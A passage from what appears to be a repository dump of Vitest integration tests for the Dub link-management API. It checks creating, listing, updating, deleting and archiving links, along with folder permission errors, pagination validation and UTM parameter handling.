domain,\n        folderId: folder.id,\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(link.folderId).toEqual(folder.id);\n    expect(LinkSchema.strict().parse(link)).toBeTruthy();\n    expect(link).toStrictEqual({\n      ...expectedLink,\n      url,\n      folderId: folder.id,\n      userId: user.id,\n      projectId,\n      workspaceId,\n      shortLink: `https://${domain}/${link.key}`,\n      qrCode: `https://api.dub.co/qr?url=https://${domain}/${link.key}?qr=1`,\n    });\n  });\n\n  test(\"custom link previews\", async () => {\n    const title = \"custom title\";\n    const description = \"custom description\";\n\n    onTestFinished(async () => {\n      await h.deleteLink(link.id);\n    });\n\n    const { status, data: link } = await http.post<Link>({\n      path: \"/links\",\n      body: {\n        url,\n        domain,\n        title,\n        description,\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(link).toStrictEqual({\n      ...expectedLink,\n      url,\n      title,\n      description,\n      userId: user.id,\n      projectId,\n      workspaceId,\n      shortLink: `https://${domain}/${link.key}`,\n      qrCode: `https://api.dub.co/qr?url=https://${domain}/${link.key}?qr=1`,\n    });\n    expect(LinkSchema.strict().parse(link)).toBeTruthy();\n  });\n\n  test(\"webhooks\", async () => {\n    onTestFinished(async () => {\n      await h.deleteLink(link.id);\n    });\n\n    const { status, data: link } = await http.post<Link & { tags: [] }>({\n      path: \"/links\",\n      body: {\n        url,\n        domain,\n        webhookIds: [E2E_WEBHOOK_ID],\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(link).toStrictEqual({\n      ...expectedLink,\n      url,\n      userId: user.id,\n      projectId,\n      workspaceId,\n      shortLink: `https://${domain}/${link.key}`,\n      qrCode: `https://api.dub.co/qr?url=https://${domain}/${link.key}?qr=1`,\n      webhookIds: [E2E_WEBHOOK_ID],\n    });\n    expect(LinkSchema.strict().parse(link)).toBeTruthy();\n  });\n\n  test(\"ab testing\", async () => {\n    const testVariants = [\n      { url: \"https://example.com/variant-1\", percentage: 30 },\n      { url: \"https://example.com/variant-2\", percentage: 30 },\n      { url: \"https://example.com/variant-3\", percentage: 40 },\n    ];\n\n    const testStartedAt = new Date();\n    const testCompletedAt = new Date(Date.now() + 1000 * 60 * 60 * 24); // 1 day\n\n    const { status, data: link } = await http.post<Link>({\n      path: \"/links\",\n      body: {\n        url,\n        domain,\n        trackConversion: true,\n        testVariants,\n        testStartedAt,\n        testCompletedAt,\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(link).toStrictEqual({\n      ...expectedLink,\n      url,\n      projectId,\n      workspaceId,\n      userId: user.id,\n      testVariants,\n      testStartedAt: testStartedAt.toISOString(),\n      testCompletedAt: testCompletedAt.toISOString(),\n      trackConversion: true,\n      shortLink: `https://${domain}/${link.key}`,\n      qrCode: `https://api.dub.co/qr?url=https://${domain}/${link.key}?qr=1`,\n    });\n  });\n});\n\ndescribe.sequential(\"POST /links?workspaceId=xxx\", async () => {\n  const h = new IntegrationHarnessOld();\n  const { workspace, user, http } = await h.init();\n  const workspaceId = workspace.id;\n  const projectId = normalizeWorkspaceId(workspaceId);\n\n  test(\"create link with old personal API keys approach\", async () => {\n    onTestFinished(async () => {\n      await h.deleteLink(link.id);\n    });\n\n    const { status, data: link } = await http.post<Link>({\n      path: \"/links\",\n      query: { workspaceId },\n      body: {\n        url,\n        domain,\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(link).toStrictEqual({\n      ...expectedLink,\n      url,\n      userId: user.id,\n      projectId,\n      workspaceId,\n      shortLink: `https://${domain}/${link.key}`,\n      qrCode: `https://api.dub.co/qr?url=https://${domain}/${link.key}?qr=1`,\n    });\n    expect(LinkSchema.strict().parse(link)).toBeTruthy();\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/links/delete-link.test.ts",
    "content": "import { Link } from \"@dub/prisma/client\";\nimport { expect, test } from \"vitest\";\nimport { IntegrationHarness } from \"../utils/integration\";\nimport { E2E_LINK } from \"../utils/resource\";\n\nconst { domain, url } = E2E_LINK;\n\ntest(\"DELETE /links/{linkId}\", async (ctx) => {\n  const h = new IntegrationHarness(ctx);\n  const { http } = await h.init();\n\n  const { data: link } = await http.post<Link>({\n    path: \"/links\",\n    body: {\n      url,\n      domain,\n    },\n  });\n\n  const { status, data } = await http.delete({\n    path: `/links/${link.id}`,\n  });\n\n  expect(status).toBe(200);\n  expect(data).toStrictEqual({\n    id: link.id,\n  });\n\n  // Re-fetch the link\n  const { status: status2 } = await http.get({\n    path: `/links/${link.id}`,\n  });\n\n  expect(status2).toBe(404);\n});\n"
  },
  {
    "path": "apps/web/tests/links/folder-link-access.test.ts",
    "content": "import { Link } from \"@dub/prisma/client\";\nimport { IntegrationHarnessMember } from \"tests/utils/integration-member\";\nimport { expectedLink } from \"tests/utils/schema\";\nimport { describe, expect, test } from \"vitest\";\nimport {\n  E2E_LINK,\n  E2E_NO_ACCESS_FOLDER_ID,\n  E2E_NO_ACCESS_FOLDER_LINK_ID,\n  E2E_READ_ONLY_FOLDER_ID,\n  E2E_READ_ONLY_FOLDER_LINK_ID,\n  E2E_WRITE_ACCESS_FOLDER_ID,\n} from \"../utils/resource\";\n\nconst { domain, url } = E2E_LINK;\n\ndescribe.concurrent(\"Folder access permissions\", async () => {\n  const h = new IntegrationHarnessMember();\n  const { http } = await h.init();\n\n  describe(\"create link in a folder\", async () => {\n    const cases = [\n      {\n        name: \"with write access\",\n        body: {\n          domain,\n          url,\n          folderId: E2E_WRITE_ACCESS_FOLDER_ID,\n        },\n        expected: {\n          status: 200,\n          data: {\n            ...expectedLink,\n            url,\n            domain,\n            folderId: E2E_WRITE_ACCESS_FOLDER_ID,\n            userId: expect.any(String),\n            projectId: expect.any(String),\n            workspaceId: expect.any(String),\n            shortLink: expect.stringMatching(\n              new RegExp(`https://${domain}/.*`),\n            ),\n            qrCode: expect.stringMatching(\n              new RegExp(\n                `https://api.dub.co/qr\\\\?url=https://${domain}/.*\\\\?qr=1`,\n              ),\n            ),\n          },\n        },\n      },\n      {\n        name: \"that doesn't exist\",\n        body: {\n          domain,\n          url,\n          folderId: \"fold_xxx\",\n        },\n        expected: {\n          status: 404,\n          data: {\n            error: {\n              code: \"not_found\",\n              message: \"Folder not found.\",\n              doc_url: \"https://dub.co/docs/api-reference/errors#not-found\",\n            },\n          },\n        },\n      },\n      {\n        name: \"with read-only access\",\n        body: {\n          domain,\n          url,\n          folderId: E2E_READ_ONLY_FOLDER_ID,\n        },\n        expected: {\n          status: 403,\n          data: {\n            error: {\n              code: \"forbidden\",\n              message:\n                \"You are not allowed to perform this action on this folder.\",\n              doc_url: \"https://dub.co/docs/api-reference/errors#forbidden\",\n            },\n          },\n        },\n      },\n      {\n        name: \"with no access\",\n        body: {\n          domain,\n          url,\n          folderId: E2E_NO_ACCESS_FOLDER_ID,\n        },\n        expected: {\n          status: 403,\n          data: {\n            error: {\n              code: \"forbidden\",\n              message:\n                \"You are not allowed to perform this action on this folder.\",\n              doc_url: \"https://dub.co/docs/api-reference/errors#forbidden\",\n            },\n          },\n        },\n      },\n    ];\n\n    cases.forEach(({ name, body, expected }) => {\n      test(name, async () => {\n        const response = await http.post<Link>({\n          path: \"/links\",\n          body,\n        });\n\n        expect(response).toEqual(expected);\n      });\n    });\n  });\n\n  describe(\"update link in a folder\", async () => {\n    const cases = [\n      {\n        name: \"with read-only access\",\n        path: `/links/${E2E_READ_ONLY_FOLDER_LINK_ID}`,\n        expected: {\n          status: 403,\n          data: {\n            error: {\n              code: \"forbidden\",\n              message:\n                \"You are not allowed to perform this action on this folder.\",\n              doc_url: \"https://dub.co/docs/api-reference/errors#forbidden\",\n            },\n          },\n        },\n      },\n      {\n        name: \"with no access\",\n        path: `/links/${E2E_NO_ACCESS_FOLDER_LINK_ID}`,\n        expected: {\n          status: 403,\n          data: {\n            error: {\n              code: \"forbidden\",\n              message:\n                \"You are not allowed to perform this action on this folder.\",\n              doc_url: \"https://dub.co/docs/api-reference/errors#forbidden\",\n            },\n          },\n        },\n      },\n    ];\n\n    cases.forEach(({ name, path, expected }) => {\n      test(name, async () => {\n        const response = await http.patch<Link>({\n          path,\n          body: {\n            url: \"https://google.com\",\n          },\n        });\n\n        expect(response).toEqual(expected);\n      });\n    });\n  });\n\n  describe(\"delete link from a folder\", async () => {\n    const cases = [\n      {\n        name: \"with read-only access\",\n        path: `/links/${E2E_READ_ONLY_FOLDER_LINK_ID}`,\n        expected: {\n          status: 403,\n          data: {\n            error: {\n              code: \"forbidden\",\n              message:\n                \"You are not allowed to perform this action on this folder.\",\n              doc_url: \"https://dub.co/docs/api-reference/errors#forbidden\",\n            },\n          },\n        },\n      },\n      {\n        name: \"with no access\",\n        path: `/links/${E2E_NO_ACCESS_FOLDER_LINK_ID}`,\n        expected: {\n          status: 403,\n          data: {\n            error: {\n              code: \"forbidden\",\n              message:\n                \"You are not allowed to perform this action on this folder.\",\n              doc_url: \"https://dub.co/docs/api-reference/errors#forbidden\",\n            },\n          },\n        },\n      },\n    ];\n\n    cases.forEach(({ name, path, expected }) => {\n      test(name, async () => {\n        const response = await http.delete<Link>({\n          path,\n        });\n\n        expect(response).toEqual(expected);\n      });\n    });\n  });\n\n  describe(\"move link to a folder\", async () => {\n    const cases = [\n      {\n        name: \"with read-only access\",\n        body: {\n          folderId: E2E_READ_ONLY_FOLDER_ID,\n        },\n        expected: {\n          status: 403,\n          data: {\n            error: {\n              code: \"forbidden\",\n              message:\n                \"You are not allowed to perform this action on this folder.\",\n              doc_url: \"https://dub.co/docs/api-reference/errors#forbidden\",\n            },\n          },\n        },\n      },\n      {\n        name: \"with no access\",\n        body: {\n          folderId: E2E_NO_ACCESS_FOLDER_ID,\n        },\n        expected: {\n          status: 403,\n          data: {\n            error: {\n              code: \"forbidden\",\n              message:\n                \"You are not allowed to perform this action on this folder.\",\n              doc_url: \"https://dub.co/docs/api-reference/errors#forbidden\",\n            },\n          },\n        },\n      },\n    ];\n\n    cases.forEach(({ name, body, expected }) => {\n      test(name, async ({ onTestFinished }) => {\n        const { data: link } = await http.post<Link>({\n          path: \"/links\",\n          body: { url, domain },\n        });\n\n        onTestFinished(async () => {\n          await h.deleteLink(link.id);\n        });\n\n        const response = await http.patch<Link>({\n          path: `/links/${link.id}`,\n          body,\n        });\n\n        expect(response).toEqual(expected);\n      });\n    });\n  });\n\n  test(\"bulk create links in folders without write access\", async () => {\n    const { status, data } = await http.post({\n      path: \"/links/bulk\",\n      body: [\n        { url, folderId: E2E_READ_ONLY_FOLDER_ID },\n        { url, folderId: E2E_NO_ACCESS_FOLDER_ID },\n      ],\n    });\n\n    expect(status).toEqual(200);\n    expect(data).toEqual([\n      {\n        error: `You don't have write access to the folder: ${E2E_READ_ONLY_FOLDER_ID}`,\n        code: \"forbidden\",\n        link: expect.any(Object),\n      },\n      {\n        error: `You don't have write access to the folder: ${E2E_NO_ACCESS_FOLDER_ID}`,\n        code: \"forbidden\",\n        link: expect.any(Object),\n      },\n    ]);\n  });\n\n  test(\"bulk update links in folders without write access\", async () => {\n    const { status, data } = await http.patch({\n      path: \"/links/bulk\",\n      body: {\n        linkIds: [E2E_READ_ONLY_FOLDER_LINK_ID, E2E_NO_ACCESS_FOLDER_LINK_ID],\n        data: { url: \"https://google.com\" },\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(data).toEqual([\n      {\n        error: `You don't have permission to update links in this folder: ${E2E_NO_ACCESS_FOLDER_ID}`,\n        code: \"forbidden\",\n        link: expect.any(Object),\n      },\n      {\n        error: `You don't have permission to update links in this folder: ${E2E_READ_ONLY_FOLDER_ID}`,\n        code: \"forbidden\",\n        link: expect.any(Object),\n      },\n    ]);\n  });\n\n  test(\"bulk delete links from folders without write access\", async () => {\n    const { status, data } = await http.delete({\n      path: `/links/bulk?linkIds=${E2E_READ_ONLY_FOLDER_LINK_ID},${E2E_NO_ACCESS_FOLDER_LINK_ID}`,\n    });\n\n    expect(status).toEqual(200);\n    expect(data).toEqual({ deletedCount: 0 });\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/links/list-links.test.ts",
    "content": "import { normalizeWorkspaceId } from \"@/lib/api/workspaces/workspace-id\";\nimport { Link } from \"@dub/prisma/client\";\nimport { beforeAll, describe, expect, onTestFinished, test } from \"vitest\";\nimport {\n  expectNoOverlap,\n  expectSortedByCreatedAt,\n  expectSortedById,\n} from \"../utils/helpers\";\nimport { IntegrationHarness } from \"../utils/integration\";\nimport { E2E_LINK } from \"../utils/resource\";\n\nconst { domain, url } = E2E_LINK;\n\ntest(\"GET /links\", async (ctx) => {\n  const h = new IntegrationHarness(ctx);\n  const { workspace, http, user } = await h.init();\n  const workspaceId = workspace.id;\n  const projectId = normalizeWorkspaceId(workspaceId);\n\n  onTestFinished(async () => {\n    await h.deleteLink(firstLink.id);\n  });\n\n  const { data: firstLink } = await http.post<Link>({\n    path: \"/links\",\n    body: { url, domain },\n  });\n\n  const { data: links, status } = await http.get<Link[]>({\n    path: \"/links\",\n  });\n\n  const linkFound = links.find((l) => l.id === firstLink.id);\n\n  expect(status).toEqual(200);\n  expect(links.length).toBeGreaterThanOrEqual(1);\n  expect(linkFound).toStrictEqual({\n    ...firstLink,\n    domain,\n    url,\n    userId: user.id,\n    projectId,\n    workspaceId,\n    shortLink: `https://${domain}/${firstLink.key}`,\n    qrCode: `https://api.dub.co/qr?url=https://${domain}/${firstLink.key}?qr=1`,\n  });\n});\n\ndescribe.concurrent(\"/links/** - pagination\", async () => {\n  const h = new IntegrationHarness();\n  let http: IntegrationHarness[\"http\"];\n  let baseline: Link[];\n  let baselineIds: string[];\n\n  const commonQuery = {\n    pageSize: \"5\",\n    sortBy: \"createdAt\",\n    sortOrder: \"desc\",\n  };\n\n  beforeAll(async () => {\n    ({ http } = await h.init());\n\n    const { status, data } = await http.get<Link[]>({\n      path: \"/links\",\n      query: { ...commonQuery, pageSize: \"25\" },\n    });\n\n    expect(status).toEqual(200);\n\n    baseline = data;\n    baselineIds = baseline.map((l) => l.id);\n\n    expectSortedByCreatedAt(baseline);\n  });\n\n  test(\"Offset pagination works\", async () => {\n    const page1 = await http.get<Link[]>({\n      path: \"/links\",\n      query: { ...commonQuery, page: \"1\" },\n    });\n    const page2 = await http.get<Link[]>({\n      path: \"/links\",\n      query: { ...commonQuery, page: \"2\" },\n    });\n\n    expect(page1.status).toEqual(200);\n    expect(page2.status).toEqual(200);\n\n    expect(page1.data.map((l) => l.id)).toEqual(baselineIds.slice(0, 5));\n    expect(page2.data.map((l) => l.id)).toEqual(baselineIds.slice(5, 10));\n\n    expectNoOverlap(page1.data, page2.data);\n  });\n\n  test(\"Cursor forward (startingAfter)\", async () => {\n    const firstPage = baseline.slice(0, 5);\n    const lastId = firstPage[4].id;\n\n    const { status, data } = await http.get<Link[]>({\n      path: \"/links\",\n      query: { pageSize: \"5\", startingAfter: lastId },\n    });\n\n    expect(status).toEqual(200);\n    expect(data).toHaveLength(5);\n    expectSortedById(data, \"desc\");\n  });\n\n  test(\"Cursor backward (endingBefore)\", async () => {\n    const beforeId = baseline[5].id;\n\n    const { status, data } = await http.get<Link[]>({\n      path: \"/links\",\n      query: { pageSize: \"5\", endingBefore: beforeId },\n    });\n\n    expect(status).toEqual(200);\n    expect(data).toHaveLength(5);\n    expectSortedById(data, \"desc\");\n  });\n\n  test(\"Rejects both startingAfter and endingBefore\", async () => {\n    const { status, data: error } = await http.get({\n      path: \"/links\",\n      query: {\n        pageSize: \"5\",\n        startingAfter: baselineIds[0],\n        endingBefore: baselineIds[1],\n      },\n    });\n\n    expect(status).toEqual(422);\n    expect(error).toStrictEqual({\n      error: {\n        code: \"unprocessable_entity\",\n        message:\n          \"You cannot use both startingAfter and endingBefore at the same time.\",\n        doc_url:\n          \"https://dub.co/docs/api-reference/errors#unprocessable-entity\",\n      },\n    });\n  });\n\n  test(\"Rejects page > MAX_OFFSET_PAGE\", async () => {\n    const { status, data: error } = await http.get({\n      path: \"/links\",\n      query: { page: \"1001\", pageSize: \"10\" },\n    });\n\n    expect(status).toEqual(422);\n    expect(error).toStrictEqual({\n      error: {\n        code: \"unprocessable_entity\",\n        message:\n          \"Page is too big (cannot be more than 1000), recommend using cursor-based pagination instead.\",\n        doc_url:\n          \"https://dub.co/docs/api-reference/errors#unprocessable-entity\",\n      },\n    });\n  });\n\n  test(\"Invalid cursor ID (startingAfter / endingBefore) returns error\", async () => {\n    const invalidCursorError = {\n      error: {\n        code: \"unprocessable_entity\",\n        message: \"Invalid cursor: the provided ID does not exist.\",\n        doc_url:\n          \"https://dub.co/docs/api-reference/errors#unprocessable-entity\",\n      },\n    };\n\n    const { status: statusAfter, data: errorAfter } = await http.get({\n      path: \"/links\",\n      query: { pageSize: \"5\", startingAfter: \"link_invalid_id_12345\" },\n    });\n\n    expect(statusAfter).toEqual(422);\n    expect(errorAfter).toStrictEqual(invalidCursorError);\n\n    const { status: statusBefore, data: errorBefore } = await http.get({\n      path: \"/links\",\n      query: { pageSize: \"5\", endingBefore: \"link_invalid_id_12345\" },\n    });\n\n    expect(statusBefore).toEqual(422);\n    expect(errorBefore).toStrictEqual(invalidCursorError);\n  });\n\n  test(\"Rejects mixing page with startingAfter / endingBefore\", async () => {\n    const mixedPaginationError = {\n      error: {\n        code: \"unprocessable_entity\",\n        message:\n          \"You cannot use both page and startingAfter/endingBefore at the same time. Please use one pagination method.\",\n        doc_url:\n          \"https://dub.co/docs/api-reference/errors#unprocessable-entity\",\n      },\n    };\n\n    const firstPage = baseline.slice(0, 5);\n    const { status: statusAfter, data: errorAfter } = await http.get({\n      path: \"/links\",\n      query: { page: \"2\", pageSize: \"5\", startingAfter: firstPage[4].id },\n    });\n\n    expect(statusAfter).toEqual(422);\n    expect(errorAfter).toStrictEqual(mixedPaginationError);\n\n    const { status: statusBefore, data: errorBefore } = await http.get({\n      path: \"/links\",\n      query: { page: \"2\", pageSize: \"5\", endingBefore: baseline[5].id },\n    });\n\n    expect(statusBefore).toEqual(422);\n    expect(errorBefore).toStrictEqual(mixedPaginationError);\n  });\n\n  test(\"Rejects cursor pagination with unsupported sort field\", async () => {\n    const { status, data: error } = await http.get({\n      path: \"/links\",\n      query: {\n        pageSize: \"5\",\n        startingAfter: baseline[0].id,\n        sortBy: \"clicks\",\n      },\n    });\n\n    expect(status).toEqual(422);\n    expect(error).toStrictEqual({\n      error: {\n        code: \"unprocessable_entity\",\n        message:\n          \"Cursor-based pagination only supports sorting by `createdAt`. Use offset-based pagination (page/pageSize) for other sort fields.\",\n        doc_url:\n          \"https://dub.co/docs/api-reference/errors#unprocessable-entity\",\n      },\n    });\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/links/retrieve-link.test.ts",
    "content": "import { normalizeWorkspaceId } from \"@/lib/api/workspaces/workspace-id\";\nimport { Link } from \"@dub/prisma/client\";\nimport { expectedLink } from \"tests/utils/schema\";\nimport { afterAll, describe, expect, test } from \"vitest\";\nimport { randomId } from \"../utils/helpers\";\nimport { IntegrationHarness } from \"../utils/integration\";\nimport { E2E_LINK } from \"../utils/resource\";\n\nconst { domain, url } = E2E_LINK;\n\ndescribe.concurrent(\"GET /links/{linkId}\", async () => {\n  const h = new IntegrationHarness();\n  const { workspace, http, user } = await h.init();\n  const workspaceId = workspace.id;\n  const projectId = normalizeWorkspaceId(workspaceId);\n  const externalId = randomId();\n  const key = randomId();\n\n  const { data: newLink } = await http.post<Link>({\n    path: \"/links\",\n    body: {\n      url,\n      domain,\n      key,\n      externalId,\n    },\n  });\n\n  afterAll(async () => {\n    await h.deleteLink(newLink.id);\n  });\n\n  test(\"by linkId\", async () => {\n    const { status, data: link } = await http.get<Link>({\n      path: `/links/${newLink.id}`,\n    });\n\n    expect(status).toEqual(200);\n    expect(link).toStrictEqual({\n      ...expectedLink,\n      ...link,\n      projectId,\n      userId: user.id,\n    });\n  });\n\n  test(\"by externalId\", async () => {\n    const { status, data: link } = await http.get<Link>({\n      path: `/links/ext_${externalId}`,\n    });\n\n    expect(status).toEqual(200);\n    expect(link).toStrictEqual({\n      ...expectedLink,\n      ...link,\n      projectId,\n      userId: user.id,\n    });\n  });\n});\n\ndescribe.sequential(\"GET /links/info\", async () => {\n  const h = new IntegrationHarness();\n  const { workspace, http, user } = await h.init();\n  const workspaceId = workspace.id;\n  const projectId = normalizeWorkspaceId(workspaceId);\n  const externalId = randomId();\n  const key = randomId();\n\n  afterAll(async () => {\n    await h.deleteLink(newLink.id);\n  });\n\n  const { data: newLink } = await http.post<Link>({\n    path: \"/links\",\n    body: {\n      url,\n      domain,\n      key,\n      externalId,\n    },\n  });\n\n  test(\"by domain and key\", async () => {\n    const { status, data: link } = await http.get<Link>({\n      path: \"/links/info\",\n      query: { workspaceId, domain, key },\n    });\n\n    expect(status).toEqual(200);\n    expect(link).toStrictEqual({\n      ...expectedLink,\n      ...link,\n      projectId,\n      workspaceId,\n      userId: user.id,\n      shortLink: `https://${domain}/${key}`,\n      qrCode: `https://api.dub.co/qr?url=https://${domain}/${key}?qr=1`,\n    });\n  });\n\n  test(\"by linkId\", async () => {\n    const { status, data: link } = await http.get<Link>({\n      path: \"/links/info\",\n      query: { workspaceId, linkId: newLink.id },\n    });\n\n    expect(status).toEqual(200);\n    expect(link).toStrictEqual({\n      ...expectedLink,\n      ...link,\n      projectId,\n      userId: user.id,\n    });\n  });\n\n  test(\"by externalId\", async () => {\n    const { status, data: link } = await http.get<Link>({\n      path: \"/links/info\",\n      query: { workspaceId, externalId: `ext_${externalId}` },\n    });\n\n    expect(status).toEqual(200);\n    expect(link).toStrictEqual({\n      ...expectedLink,\n      ...link,\n      projectId,\n      userId: user.id,\n    });\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/links/retrieve-metatags.test.ts",
    "content": "import { expect, test } from \"vitest\";\nimport { IntegrationHarness } from \"../utils/integration\";\n\ntest(\"GET /links/metatags\", async (ctx) => {\n  const h = new IntegrationHarness(ctx);\n  const { http } = await h.init();\n\n  const { status, data: metatags } = await http.get({\n    path: \"/links/metatags\",\n    query: {\n      url: \"https://dub.co\",\n    },\n  });\n\n  expect(status).toEqual(200);\n  expect(metatags).toStrictEqual({\n    title: \"Dub - The Modern Link Attribution Platform\",\n    description:\n      \"Dub is the modern link attribution platform for short links, conversion tracking, and affiliate programs.\",\n    image: \"https://assets.dub.co/thumbnail.jpg\",\n    poweredBy: \"Dub - The Modern Link Attribution Platform\",\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/links/update-link.test.ts",
    "content": "import { normalizeWorkspaceId } from \"@/lib/api/workspaces/workspace-id\";\nimport { Link } from \"@dub/prisma/client\";\nimport { afterAll, beforeAll, describe, expect, test } from \"vitest\";\nimport { randomId } from \"../utils/helpers\";\nimport { IntegrationHarness } from \"../utils/integration\";\nimport { E2E_LINK } from \"../utils/resource\";\nimport { expectedLink } from \"../utils/schema\";\n\nconst { domain, url } = E2E_LINK;\n\ndescribe.sequential(\"PATCH /links/{linkId}\", async () => {\n  const h = new IntegrationHarness();\n  const { workspace, http, user } = await h.init();\n  const workspaceId = workspace.id;\n  const projectId = normalizeWorkspaceId(workspaceId);\n  const externalId = randomId();\n\n  const { data: link } = await http.post<Link>({\n    path: \"/links\",\n    body: {\n      url,\n      domain,\n      externalId,\n    },\n  });\n\n  const toUpdate: Partial<Link> = {\n    key: randomId(),\n    url: \"https://github.com/dubinc/dub\",\n    title: \"Dub Inc\",\n    description: \"Open-source link management infrastructure.\",\n    comments: \"This is a comment.\",\n    expiresAt: new Date(\"2030-04-16T17:00:00.000Z\"),\n    expiredUrl: \"https://github.com/expired\",\n    password: \"link-password\",\n    ios: \"https://apps.apple.com/app/1611158928\",\n    android:\n      \"https://play.google.com/store/apps/details?id=com.disney.disneyplus\",\n    geo: {\n      AF: `${url}/AF`,\n    },\n  };\n\n  afterAll(async () => {\n    await h.deleteLink(link.id);\n  });\n\n  test(\"update link using linkId\", async () => {\n    const { data: updatedLink } = await http.patch<Link>({\n      path: `/links/${link.id}`,\n      body: { ...toUpdate },\n    });\n\n    expect(updatedLink).toStrictEqual({\n      ...expectedLink,\n      ...toUpdate,\n      domain,\n      workspaceId,\n      externalId,\n      userId: user.id,\n      expiresAt: \"2030-04-16T17:00:00.000Z\",\n      projectId,\n      shortLink: `https://${domain}/${toUpdate.key}`,\n      qrCode: `https://api.dub.co/qr?url=https://${domain}/${toUpdate.key}?qr=1`,\n    });\n\n    // Fetch the link\n    const { data: fetchedLink } = await http.get<Link>({\n      path: `/links/${link.id}`,\n    });\n\n    expect(fetchedLink).toStrictEqual({\n      ...expectedLink,\n      ...toUpdate,\n      domain,\n      workspaceId,\n      externalId,\n      userId: user.id,\n      expiresAt: \"2030-04-16T17:00:00.000Z\",\n      projectId,\n      shortLink: `https://${domain}/${toUpdate.key}`,\n      qrCode: `https://api.dub.co/qr?url=https://${domain}/${toUpdate.key}?qr=1`,\n    });\n  });\n\n  // Archive the link\n  test(\"archive link\", async () => {\n    const { status, data: updatedLink } = await http.patch<Link>({\n      path: `/links/${link.id}`,\n      body: {\n        archived: true,\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(updatedLink).toStrictEqual({\n      ...expectedLink,\n      ...toUpdate,\n      domain,\n      workspaceId,\n      externalId,\n      archived: true,\n      userId: user.id,\n      expiresAt: \"2030-04-16T17:00:00.000Z\",\n      projectId,\n      shortLink: `https://${domain}/${toUpdate.key}`,\n      qrCode: `https://api.dub.co/qr?url=https://${domain}/${toUpdate.key}?qr=1`,\n    });\n\n    // Fetch the link\n    const { data: archivedLink } = await http.get<Link>({\n      path: `/links/${link.id}`,\n    });\n\n    expect(archivedLink.archived).toEqual(true);\n  });\n\n  // Unarchive the link\n  test(\"unarchive link\", async () => {\n    const { status, data: updatedLink } = await http.patch<Link>({\n      path: `/links/${link.id}`,\n      body: {\n        archived: false,\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(updatedLink).toStrictEqual({\n      ...expectedLink,\n      ...toUpdate,\n      domain,\n      workspaceId,\n      externalId,\n      archived: false,\n      userId: user.id,\n      expiresAt: \"2030-04-16T17:00:00.000Z\",\n      projectId,\n      shortLink: `https://${domain}/${toUpdate.key}`,\n      qrCode: `https://api.dub.co/qr?url=https://${domain}/${toUpdate.key}?qr=1`,\n    });\n\n    // Fetch the link\n    const { data: unarchivedLink } = await http.get<Link>({\n      path: `/links/${link.id}`,\n    });\n\n    expect(unarchivedLink.archived).toEqual(false);\n  });\n\n  // Update the link using externalId\n  test(\"update link using externalId\", async () => {\n    const { status, data: updatedLink } = await http.patch<Link>({\n      path: `/links/ext_${externalId}`,\n      body: {\n        url: \"https://github.com/dubinc\",\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(updatedLink).toStrictEqual({\n      ...expectedLink,\n      ...toUpdate,\n      domain,\n      workspaceId,\n      externalId,\n      archived: false,\n      userId: user.id,\n      url: \"https://github.com/dubinc\",\n      expiresAt: \"2030-04-16T17:00:00.000Z\",\n      projectId,\n      shortLink: `https://${domain}/${toUpdate.key}`,\n      qrCode: `https://api.dub.co/qr?url=https://${domain}/${toUpdate.key}?qr=1`,\n    });\n\n    // Fetch the link\n    const { data: linkUpdated } = await http.get<Link>({\n      path: `/links/ext_${externalId}`,\n    });\n\n    expect(linkUpdated.url).toEqual(\"https://github.com/dubinc\");\n  });\n});\n\ndescribe.sequential(\"PATCH /links/{linkId} - UTM parameters\", async () => {\n  const h = new IntegrationHarness();\n  const { http } = await h.init();\n\n  let link: Link;\n\n  beforeAll(async () => {\n    const { data } = await http.post<Link>({\n      path: \"/links\",\n      body: {\n        url,\n        domain,\n      },\n    });\n    link = data;\n  });\n\n  afterAll(async () => {\n    await h.deleteLink(link.id);\n  });\n\n  test(\"update link with URL and UTM params\", async () => {\n    const { data: updated } = await http.patch<Link>({\n      path: `/links/${link.id}`,\n      body: {\n        url: \"https://example.com\",\n        utm_source: \"test_source\",\n        utm_medium: \"email\",\n      },\n    });\n\n    expect(updated.url).toBe(\n      \"https://example.com/?utm_source=test_source&utm_medium=email\",\n    );\n    expect(updated.utm_source).toBe(\"test_source\");\n    expect(updated.utm_medium).toBe(\"email\");\n  });\n\n  test(\"update UTM params only (no URL change)\", async () => {\n    const { data: updated } = await http.patch<Link>({\n      path: `/links/${link.id}`,\n      body: {\n        utm_source: \"new_source\",\n        utm_campaign: \"spring_sale\",\n      },\n    });\n\n    expect(updated.url).toBe(\n      \"https://example.com/?utm_source=new_source&utm_medium=email&utm_campaign=spring_sale\",\n    );\n    expect(updated.utm_source).toBe(\"new_source\");\n    expect(updated.utm_medium).toBe(\"email\");\n    expect(updated.utm_campaign).toBe(\"spring_sale\");\n  });\n\n  test(\"update with same UTM value\", async () => {\n    const { data: updated } = await http.patch<Link>({\n      path: `/links/${link.id}`,\n      body: {\n        utm_source: \"new_source\",\n      },\n    });\n\n    expect(updated.url).toBe(\n      \"https://example.com/?utm_source=new_source&utm_medium=email&utm_campaign=spring_sale\",\n    );\n    expect(updated.utm_source).toBe(\"new_source\");\n    expect(updated.utm_medium).toBe(\"email\");\n    expect(updated.utm_campaign).toBe(\"spring_sale\");\n  });\n\n  test(\"update URL only - preserves existing UTM params\", async () => {\n    const { data: updated } = await http.patch<Link>({\n      path: `/links/${link.id}`,\n      body: {\n        url: \"https://newdomain.com/path\",\n      },\n    });\n\n    expect(updated.url).toBe(\n      \"https://newdomain.com/path?utm_source=new_source&utm_medium=email&utm_campaign=spring_sale\",\n    );\n    expect(updated.utm_source).toBe(\"new_source\");\n    expect(updated.utm_medium).toBe(\"email\");\n    expect(updated.utm_campaign).toBe(\"spring_sale\");\n  });\n\n  test(\"clear single UTM param with empty string\", async () => {\n    const { data: updated } = await http.patch<Link>({\n      path: `/links/${link.id}`,\n      body: {\n        utm_campaign: \"\",\n      },\n    });\n\n    